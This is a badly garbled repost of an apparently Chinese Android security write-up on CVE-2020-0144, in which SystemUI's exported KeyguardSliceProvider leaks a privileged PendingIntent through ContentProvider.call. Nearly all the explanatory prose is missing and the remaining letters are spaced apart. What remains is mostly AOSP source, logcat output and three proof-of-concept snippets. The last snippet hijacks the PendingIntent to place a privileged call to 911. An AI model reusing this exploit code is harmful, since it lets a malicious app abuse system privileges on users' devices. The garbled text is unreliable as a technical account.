[27770] 2020-07-08_Android的特殊攻击面(三)——隐蔽的call函数

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-07-08_Android的特殊攻击面(三)——隐蔽的call函数 A n d r o i d c a l l   h e e e e e n   O P P O   2 0 2 0 - 0 7 - 0 8   #   , 1 0 O P P O h e e e e e n 稿 广 稿 O S R C 稿 ~ ~ 稿 m a r k d o w n 0 x 0 0   6 G o o g l e A n d r o i d   A O S P   F r a m e w o r k O P P O C V E - 2 0 2 0 - 0 1 4 4   [ 1 ]   S y s t e m U I   A c t i v i t y   I n t e n t   A c t i v i t y r e t m e B r o a d c a s t A n y W h e r e [ 2 ] P e n d i n g I n t e n t S y s t e m   U I D 广 S y s t e m U I   C V E - 2 0 2 0 - 0 1 1 4 P e n d i n g I n t e n t P e n d i n g I n t e n t C o n t e n t P r o v i d e r   0 x 0 1   C o n t e n t P r o v i d e r   c a l l c a l l c a l l P r o v i d e r S t r i n g B u n d l e B u n d l e c a l l p u b l i c   B u n d l e   c a l l   ( S t r i n g   m e t h o d ,   S t r i n g   a r g ,   B u n d l e   e x t r a s )                               B u n d l e   e x t r a s ) ` ` ` q u e r y / i n s e r t / d e l e t e
c a l l 使 [ 3 ] A n d r o i d c a l l c a l l A n d r o i d M a n i f e s t C o n t e n t P r o v i d e r [ 4 ] c a l l 0 x 0 2   P e n d i n g I n t e n t C V E - 2 0 2 0 - 0 1 4 4 S y s t e m U I K e y G u a r d S l i c e P r o v i d e r P r o v i d e r I n t e n t P e n d i n g I n t e n t P e n d i n g I n t e n t I n t e n t P a c k a g e , I n t e n t A c t i o n A p p P e n d i n g I n t e n t S y s t e m U I f r a m e w o r k s / b a s e / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / k e y g u a r d / K e y g u a r d S l i c e P r o v i d e r . j a v a A p p P e n d i n g I n t e n t K e y G u a r d S l i c e P r o v i d e r S l i c e P r o v i d e r 0 x 0 3   S l i c e P r o v i d e r S l i c e P r o v i d e r A n d r o i d   P U I 使 S l i c e S l i c e P r e s e n t e r ) S l i c e   U R I A n d r o i d b i n d S l i c e A P I 访 A p p S l i c e P r o v i d e r S l i c e S l i c e U I ( a c t i o n ) S l i c e U R I S e t t i n g s N F C ` ` ` j a v a p u b l i c   b o o l e a n   o n C r e a t e S l i c e P r o v i d e r ( )   {                         . . .                         m P e n d i n g I n t e n t   =   P e n d i n g I n t e n t . g e t A c t i v i t y ( g e t C o n t e x t ( ) ,   0 ,   n e w   I n t e n t ( ) ,   0 ) ;                         . . .                 } r e t u r n   t r u e ;         } ` ` `
S e t t i n g s S l i c e P r o v i d e r U R I 使 S e t t i n g s N F C a c t i o n S e t t i n g s N F C N F C a c t i o n P e n d i n g I n t e n t S l i c e P r o v i d e r [ 5 ] [ 6 ] A n d r o i d A P I A p p 使 S l i c e P r o v i d e r c a l l S l i c e P r o v i d e r S l i c e P r o v i d e r c a l l S l i c e B u n d l e f r a m e w o r k s / b a s e / c o r e / j a v a / a n d r o i d / a p p / s l i c e / S l i c e P r o v i d e r . j a v a c o n t e n t : / / a n d r o i d . s e t t i n g s . s l i c e s / a c t i o n / t o g g l e _ n f c ` ` ` j a v a   @ O v e r r i d e         p u b l i c   B u n d l e   c a l l ( S t r i n g   m e t h o d ,   S t r i n g   a r g ,   B u n d l e   e x t r a s )   {                 i f   ( m e t h o d . e q u a l s ( M E T H O D _ S L I C E ) )   {                         U r i   u r i   =   g e t U r i W i t h o u t U s e r I d ( v a l i d a t e I n c o m i n g U r i O r N u l l (                                         e x t r a s . g e t P a r c e l a b l e ( E X T R A _ B I N D _ U R I ) ) ) ;                         L i s t < S l i c e S p e c >   s u p p o r t e d S p e c s   =   e x t r a s . g e t P a r c e l a b l e A r r a y L i s t ( E X T R A _ S U P P O R T E D _ S P E C S ) ;                         S t r i n g   c a l l i n g P a c k a g e   =   g e t C a l l i n g P a c k a g e ( ) ;                         i n t   c a l l i n g U i d   =   B i n d e r . g e t C a l l i n g U i d ( ) ;                         i n t   c a l l i n g P i d   =   B i n d e r . g e t C a l l i n g P i d ( ) ;                         S l i c e   s   =   h a n d l e B i n d S l i c e ( u r i ,   s u p p o r t e d S p e c s ,   c a l l i n g P a c k a g e ,   c a l l i n g U i d ,   c a l l i n g P i d ) ;                         B u n d l e   b   =   n e w   B u n d l e ( ) ;                         b . p u t P a r c e l a b l e ( E X T R A _ S L I C E ,   s ) ;                         r e t u r n   b ;
M E T H O D _ S L I C E S l i c e 访 o n B i n d S l i c e S l i c e P r o v d e r S l i c e P r o v i d e r 0 x 0 4   K e y g u a r d S l i c e P r o v i d e r S y s t e m U I   使 K e y g u a r d S l i c e P r o i v d e r S l i c e P r o v i d e r A p p 使 K e y g u a r d S l i c e P r o v i d e r U R I   使 c a l l M E T H O D _ S L I C E o n B i n d S l i c e f r a m e w o r k s / b a s e / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / k e y g u a r d / K e y g u a r d S l i c e P r o v i d e r . j a v a                         r e t u r n   b ;                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ M A P _ I N T E N T ) )   {                         . . .                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ M A P _ O N L Y _ I N T E N T ) )   {                         . . .                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ P I N ) )   {                         . . .                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ U N P I N ) )   {                         . . .                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ G E T _ D E S C E N D A N T S ) )   {                         . . .                 }   e l s e   i f   ( m e t h o d . e q u a l s ( M E T H O D _ G E T _ P E R M I S S I O N S ) )   {                         . . .                 }                 r e t u r n   s u p e r . c a l l ( m e t h o d ,   a r g ,   e x t r a s ) ;         } ` ` ` S l i c e P r o v i d e r . h a n d l e B i n d S l i c e - - > o n B i n d S l i c e S t r i c t - - > o n B i n d S l i c e ` ` ` x m l < p r o v i d e r   a n d r o i d : n a m e = " . k e y g u a r d . K e y g u a r d S l i c e P r o v i d e r " a n d r o i d : a u t h o r i t i e s = " c o m . a n d r o i d . s y s t e m u i . k e y g u a r d " a n d r o i d : g r a n t U r i P e r m i s s i o n s = " t r u e " a n d r o i d : e x p o r t e d = " t r u e " > < / p r o v i d e r > ` ` ` c o n t e n t : / / c o m . a n d r o i d . s y s t e m u i . k e y g u a r d ` ` ` j a v a @ A n y T h r e a d @ O v e r r i d e p u b l i c   S l i c e   o n B i n d S l i c e ( U r i   s l i c e U r i )   {                 T r a c e . b e g i n S e c t i o n ( " K e y g u a r d S l i c e P r o v i d e r # o n B i n d S l i c e " ) ;                 S l i c e   s l i c e ; s y n c h r o n i z e d   ( t h i s )   {                         L i s t B u i l d e r   b u i l d e r   =   n e w   L i s t B u i l d e r ( g e t C o n t e x t ( ) ,   m S l i c e U r i ,   L i s t B u i l d e r . I N F I N I T Y ) ; i f   ( n e e d s M e d i a L o c k e d ( ) )   {                                 a d d M e d i a L o c k e d ( b u i l d e r ) ;                         }   e l s e   {                                 b u i l d e r . a d d R o w ( n e w   R o w B u i l d e r ( m D a t e U r i ) . s e t T i t l e ( m L a s t T e x t ) ) ;
K e y G u a r d S l i c e P r o v i d e r S l i c e a d d P r i m a r y A c t i o n L o c k e d ( b u i l d e r ) a c t i o n f r a m e w o r k s / b a s e / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / k e y g u a r d / K e y g u a r d S l i c e P r o v i d e r . j a v a P e n d i n g I n t e n t c a l l S l i c e c a l l S l i c e P r o v i d e r K e y g u a r d S l i c e P r o v i d e r S y s t e m U I   P e n d i n g I n t e n t 0 x 0 5   S l i c e P r o v i d e r 使 c a l l   K e y g u a r d S l i c e P r o v i d e r 访 S l i c e - - - - P O C 1 - - - -                                 b u i l d e r . a d d R o w ( n e w   R o w B u i l d e r ( m D a t e U r i ) . s e t T i t l e ( m L a s t T e x t ) ) ;                         }                         a d d N e x t A l a r m L o c k e d ( b u i l d e r ) ;                         a d d Z e n M o d e L o c k e d ( b u i l d e r ) ;                         a d d P r i m a r y A c t i o n L o c k e d ( b u i l d e r ) ;                         s l i c e   =   b u i l d e r . b u i l d ( ) ;                 }                 T r a c e . e n d S e c t i o n ( ) ; r e t u r n   s l i c e ;         } ` ` ` ` ` ` j a v a p r o t e c t e d   v o i d   a d d P r i m a r y A c t i o n L o c k e d ( L i s t B u i l d e r   b u i l d e r )   { / /   A d d   s i m p l e   a c t i o n   b e c a u s e   A P I   r e q u i r e s   i t ;   K e y g u a r d   h a n d l e s   p r e s e n t i n g / /   i t s   o w n   s l i c e s   s o   t h i s   a c t i o n   +   i c o n   a r e   a c t u a l l y   n e v e r   u s e d .                 I c o n C o m p a t   i c o n   =   I c o n C o m p a t . c r e a t e W i t h R e s o u r c e ( g e t C o n t e x t ( ) ,                                 R . d r a w a b l e . i c _ a c c e s s _ a l a r m s _ b i g ) ;                 S l i c e A c t i o n   a c t i o n   =   S l i c e A c t i o n . c r e a t e D e e p l i n k ( m P e n d i n g I n t e n t ,   i c o n ,                                 L i s t B u i l d e r . I C O N _ I M A G E ,   m L a s t T e x t ) ;                 R o w B u i l d e r   p r i m a r y A c t i o n R o w   =   n e w   R o w B u i l d e r ( U r i . p a r s e ( K E Y G U A R D _ A C T I O N _ U R I ) )                                 . s e t P r i m a r y A c t i o n ( a c t i o n ) ;                 b u i l d e r . a d d R o w ( p r i m a r y A c t i o n R o w ) ;         } ` ` ` m P e n d i n g I n t e n t ` ` ` j a v a   f i n a l   s t a t i c   S t r i n g   u r i K e y g u a r d S l i c e s   =   " c o n t e n t : / / c o m . a n d r o i d . s y s t e m u i . k e y g u a r d " ;   B u n d l e   r e s p o n s e B u n d l e   =   g e t C o n t e n t R e s o l v e r ( ) . c a l l ( U r i . p a r s e ( u r i K e y g u a r d S l i c e s ) ,   " b i n d _ s l i c e " ,   n u l l ,   p r e p a r e R e q B u n d l e ( ) ) ;   S l i c e   s l i c e   =   r e s p o n s e B u n d l e . g e t P a r c e l a b l e ( " s l i c e " ) ;   L o g . d ( " p i " ,   s l i c e . t o S t r i n g ( ) ) ; p r i v a t e   B u n d l e   p r e p a r e R e q B u n d l e ( )   {
S l i c e t e x t S y s t e m U I a p p 访 S l i c e c a l l S l i c e S l i c e c r e a t e P e r m i s s i o n S l i c e f r a m e w o r k s / b a s e / c o r e / j a v a / a n d r o i d / a p p / s l i c e / S l i c e P r o v i d e r . j a v a S l i c e c r e a t e P e r m i s s i o n S l i c e f r a m e w o r k s / b a s e / c o r e / j a v a / a n d r o i d / a p p / s l i c e / S l i c e P r o v i d e r . j a v a                 B u n d l e   b   =   n e w   B u n d l e ( ) ;                 b . p u t P a r c e l a b l e ( " s l i c e _ u r i " ,   U r i . p a r s e ( u r i K e y g u a r d S l i c e s ) ) ;                 A r r a y L i s t < P a r c e l a b l e >   s u p p o r t e d S p e c s   =   n e w   A r r a y L i s t < P a r c e l a b l e > ( ) ;                 s u p p o r t e d S p e c s . a d d ( n e w   S l i c e S p e c ( " a n d r o i d x . a p p . s l i c e . L I S T " ,   1 ) ) ;                 s u p p o r t e d S p e c s . a d d ( n e w   S l i c e S p e c ( " a n d r o i d x . s l i c e . L I S T " ,   1 ) ) ;                 s u p p o r t e d S p e c s . a d d ( n e w   S l i c e S p e c ( " a n d r o i d x . a p p . s l i c e . B A S I C " ,   1 ) ) ;                 b . p u t P a r c e l a b l e A r r a y L i s t ( " s u p p o r t e d _ s p e c s " ,   s u p p o r t e d S p e c s ) ; r e t u r n   b ;   } ` ` ` ` ` ` s h e l l 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :   s l i c e : 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :         i m a g e 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :         t e x t :   t e s t A O S P S y t e m U I K e y g u a r d S l i c e P r o v i d e r   w a n t s   t o   s h o w   S y s t e m   U I   s l i c e s 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :         i n t 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :         s l i c e : 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :               i m a g e 0 5 - 3 0   0 8 : 3 1 : 0 2 . 3 0 6   1 1 4 4 9   1 1 4 4 9   D   p i             :               a c t i o n ` ` ` ` ` ` j a v a p r i v a t e   S l i c e   h a n d l e B i n d S l i c e ( U r i   s l i c e U r i ,   L i s t < S l i c e S p e c >   s u p p o r t e d S p e c s ,                         S t r i n g   c a l l i n g P k g ,   i n t   c a l l i n g U i d ,   i n t   c a l l i n g P i d )   { / /   T h i s   c a n   b e   r e m o v e d   o n c e   S l i c e # b i n d S l i c e   i s   r e m o v e d   a n d   e v e r y o n e   i s   u s i n g / /   S l i c e M a n a g e r # b i n d S l i c e .                 S t r i n g   p k g   =   c a l l i n g P k g   ! =   n u l l   ?   c a l l i n g P k g                                 :   g e t C o n t e x t ( ) . g e t P a c k a g e M a n a g e r ( ) . g e t N a m e F o r U i d ( c a l l i n g U i d ) ; t r y   {                         m S l i c e M a n a g e r . e n f o r c e S l i c e P e r m i s s i o n ( s l i c e U r i ,   p k g ,                                         c a l l i n g P i d ,   c a l l i n g U i d ,   m A u t o G r a n t P e r m i s s i o n s ) ;                 }   c a t c h   ( S e c u r i t y E x c e p t i o n   e )   { r e t u r n   c r e a t e P e r m i s s i o n S l i c e ( g e t C o n t e x t ( ) ,   s l i c e U r i ,   p k g ) ;                 } ` ` ` ` ` ` j a v a p u b l i c   S l i c e   c r e a t e P e r m i s s i o n S l i c e ( C o n t e x t   c o n t e x t ,   U r i   s l i c e U r i ,
c r e a t e P e r m i s s i o n I n t e n t P e n d i n g I n t e n t S l i c e P e r m i s s i o n A c t i v i t y f r a m e w o r k s / b a s e / c o r e / j a v a / a n d r o i d / a p p / s l i c e / S l i c e P r o v i d e r . j a v a A p p K e y g u a r d S l i c e P r o v i d e r 访 P O C - - - P O C 2 - - - S t r i n g   c a l l i n g P a c k a g e )   { P e n d i n g I n t e n t   a c t i o n ; m C a l l b a c k   =   " o n C r e a t e P e r m i s s i o n R e q u e s t " ; H a n d l e r . g e t M a i n ( ) . p o s t D e l a y e d ( m A n r ,   S L I C E _ B I N D _ A N R ) ; t r y   { a c t i o n   =   o n C r e a t e P e r m i s s i o n R e q u e s t ( s l i c e U r i ) ; }   f i n a l l y   { H a n d l e r . g e t M a i n ( ) . r e m o v e C a l l b a c k s ( m A n r ) ; } ` ` ` ` ` ` j a v a / * *           *   @ h i d e           * / p u b l i c   s t a t i c   P e n d i n g I n t e n t   c r e a t e P e r m i s s i o n I n t e n t ( C o n t e x t   c o n t e x t ,   U r i   s l i c e U r i ,                         S t r i n g   c a l l i n g P a c k a g e )   {                 I n t e n t   i n t e n t   =   n e w   I n t e n t ( S l i c e M a n a g e r . A C T I O N _ R E Q U E S T _ S L I C E _ P E R M I S S I O N ) ;                 i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . a n d r o i d . s y s t e m u i " , " c o m . a n d r o i d . s y s t e m u i . S l i c e P e r m i s s i o n A c t i v i t y " ) ) ;                 i n t e n t . p u t E x t r a ( E X T R A _ B I N D _ U R I ,   s l i c e U r i ) ;                 i n t e n t . p u t E x t r a ( E X T R A _ P K G ,   c a l l i n g P a c k a g e ) ;                 i n t e n t . p u t E x t r a ( E X T R A _ P R O V I D E R _ P K G ,   c o n t e x t . g e t P a c k a g e N a m e ( ) ) ; / /   U n i q u e   p e n d i n g   i n t e n t .                 i n t e n t . s e t D a t a ( s l i c e U r i . b u i l d U p o n ( ) . a p p e n d Q u e r y P a r a m e t e r ( " p a c k a g e " ,   c a l l i n g P a c k a g e )                                 . b u i l d ( ) ) ; r e t u r n   P e n d i n g I n t e n t . g e t A c t i v i t y ( c o n t e x t ,   0 ,   i n t e n t ,   0 ) ;         } ` ` ` ` ` ` j a v a I n t e n t   i n t e n t   =   n e w   I n t e n t ( " c o m . a n d r o i d . i n t e n t . a c t i o n . R E Q U E S T _ S L I C E _ P E R M I S S I O N " ) ;                                 i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . a n d r o i d . s y s t e m u i " , " c o m . a n d r o i d . s y s t e m u i . S l i c e P e r m i s s i o n A c t i v i t y " ) ) ;                                 U r i   u r i   =   U r i . p a r s e ( u r i K e y g u a r d S l i c e s ) ;                                 i n t e n t . p u t E x t r a ( " s l i c e _ u r i " ,   u r i ) ;                                 i n t e n t . p u t E x t r a ( " p k g " ,   g e t P a c k a g e N a m e ( ) ) ;
c a l l K e y g u a r d S l i c e P r o v i d e r 0 x 0 6   P e n d i n g I n t e n t P O C 1 S l i c e   a c t i o n P e n d i n g I n t e n t P e n d i n g I n t e n t S l i c e 3 S l i c e I t e m 1 S l i c e I t e m                                 i n t e n t . p u t E x t r a ( " p r o v i d e r _ p k g " ,   " c o m . a n d r o i d . s y s t e m u i " ) ;                                 s t a r t A c t i v i t y ( i n t e n t ) ; ` ` ` ` ` ` s h e l l   s a r g o : / d a t a / s y s t e m / s l i c e   #   l o g c a t   - s   p i - - - - - - - - -   b e g i n n i n g   o f   m a i n 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :   l o n g 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :   s l i c e : 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :         t e x t :   S a t ,   M a y   3 0 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :   s l i c e : 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :         a c t i o n 0 5 - 3 0   1 0 : 4 0 : 5 2 . 9 5 6   1 2 8 7 1   1 2 8 7 1   D   p i             :   l o n g ` ` ` ` P e n d i n g I n t e n t   p i   =   s l i c e . g e t I t e m s ( ) . g e t ( 2 ) . g e t S l i c e ( ) . g e t I t e m s ( ) . g e t ( 0 ) . g e t A c t i o n ( ) ; `
P O C - - - P O C 3 - - - 访 S y s t e m U I   K e y g u a r d S l i c e P r o v i d e r ` ` ` j a v a B u n d l e   r e s p o n s e B u n d l e   =   g e t C o n t e n t R e s o l v e r ( ) . c a l l ( U r i . p a r s e ( u r i K e y g u a r d S l i c e s ) ,   " b i n d _ s l i c e " ,   n u l l ,   p r e p a r e R e q B u n d l e ( ) ) ; S l i c e   s l i c e   =   r e s p o n s e B u n d l e . g e t P a r c e l a b l e ( " s l i c e " ) ; L o g . d ( " p i " ,   s l i c e . t o S t r i n g ( ) ) ; P e n d i n g I n t e n t   p i   =   s l i c e . g e t I t e m s ( ) . g e t ( 2 ) . g e t S l i c e ( ) . g e t I t e m s ( ) . g e t ( 0 ) . g e t A c t i o n ( ) ; I n t e n t   e v i l I n t e n t   =   n e w   I n t e n t ( " a n d r o i d . i n t e n t . a c t i o n . C A L L _ P R I V I L E G E D " ) ; e v i l I n t e n t . s e t D a t a ( U r i . p a r s e ( " t e l : 9 1 1 " ) ) ; t r y   {         p i . s e n d ( g e t A p p l i c a t i o n C o n t e x t ( ) ,   0 ,   e v i l I n t e n t ,   n u l l ,   n u l l ) ; }   c a t c h   ( P e n d i n g I n t e n t . C a n c e l e d E x c e p t i o n   e )   {       e . p r i n t S t a c k T r a c e ( ) ; } ` ` `

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则